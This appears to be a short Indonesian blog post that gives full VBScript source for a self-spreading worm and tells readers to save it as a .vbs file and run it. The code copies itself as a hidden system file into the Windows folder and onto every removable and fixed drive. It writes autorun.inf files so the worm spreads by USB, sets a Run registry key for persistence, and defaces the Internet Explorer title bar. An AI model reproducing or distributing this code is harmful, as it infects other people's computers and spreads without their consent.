copy paste script di bawah ini, pastenya di notepad dan simpan dengan type .vbs
on error resume nextdim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sdatr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"set fs = createobject("Scripting.FileSystemObject")set mf = fs.getfile(Wscript.ScriptFullname)dim text,sizesize = mf.sizecheck = mf.drive.drivetypeset text=mf.openastextstream(1,-2)do while not text.atendofstreammysource=mysource&text.readlinemysource=mysource & vbcrlfloopdoSet winpath = fs.getspecialfolder(0)set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")tf.attributes = 32set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)tf.write mysourcetf.closeset tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")tf.attributes = 39for each flashdrive in fs.drivesIf (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <>
"A:" thenset tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")tf.attributes =32set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)tf.write mysourcetf.closeset tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")tf.attributes =39set tf =fs.getfile(flashdrive.path &"\autorun.inf")tf.attributes = 32set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)tf.write atrtf.closeset tf =fs.getfile(flashdrive.path &"\autorun.inf")tf.attributes=39end ifnextset rg = createobject("WScript.Shell")rg.regwrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&
"\MS32DLL.dll.vbs"rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window
Title","zer03s was HERE"rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"if check <> 1 thenWscript.sleep 200000end ifloop while check<>1set sd = createobject("Wscript.shell")sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
lihatlah hasilnya,
tapi ingat..jangan dicoba di komputer sendiri
0 komentar:
Posting Komentar